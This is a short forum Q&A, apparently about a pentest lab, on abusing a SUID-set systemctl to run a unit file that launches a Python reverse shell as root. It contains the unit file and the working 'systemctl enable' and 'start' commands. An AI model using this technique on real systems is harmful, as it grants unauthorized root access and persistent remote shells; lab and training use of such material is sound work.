1

I'm working on a pentest VM, and have elevated my user privileges to that of a common user. I can see from my enumeration scans that systemctl has a SUID bit set, and has the ownership group listed as my current users group.

I created a python reverse shell, and revshell_root.service to call it using systemctl. I have no write access to /etc/systemd/system or /lib/systemd/system to place the service file, so I'm trying to use the --root= option of systemctl to specify the location of the service file.

systemctl --root=/tmp/serv start revshell_root.service

However, I get the following error: Failed to start revshell_root.service: Unit revshell_root.service not found.

revshell_root.service contents

[Unit]
Description=root shell
After=network.target
StartLimitIntervalSec=0

[Service]
Type=simple
Restart=always
RestartSec=1
User=elevated_user_name
ExecStart=/usr/bin/env python3 /tmp/revshell_root.py

[Install]
WantedBy=multi-user.target
0

Just do as follows (using /tmp as an example)

systemctl enable /tmp/revshell_root.service

systemctl start revshell_root.service

SystemCTL's enable allows you to enable/install services in paths other than the default, so you do not have to specify the full file path when starting it. A good example of this is CVE-2018-19788, which has a similar exploit path for privilege escalation.

  • Thanks. I tired, but it's giving me the same error. Do I need to do something to the service file with permissions? – WR7500 Jun 25 '19 at 16:25
  • Disregard my previous. Sometimes you need a full SSH shell to properly run commands. – WR7500 Jun 25 '19 at 17:02
  • Glad it worked for you. Definitely always try to get a full shell before running privilege escalation commands! :) – AbsoZed Jun 25 '19 at 17:08

Not the answer you're looking for? Browse other questions tagged or ask your own question.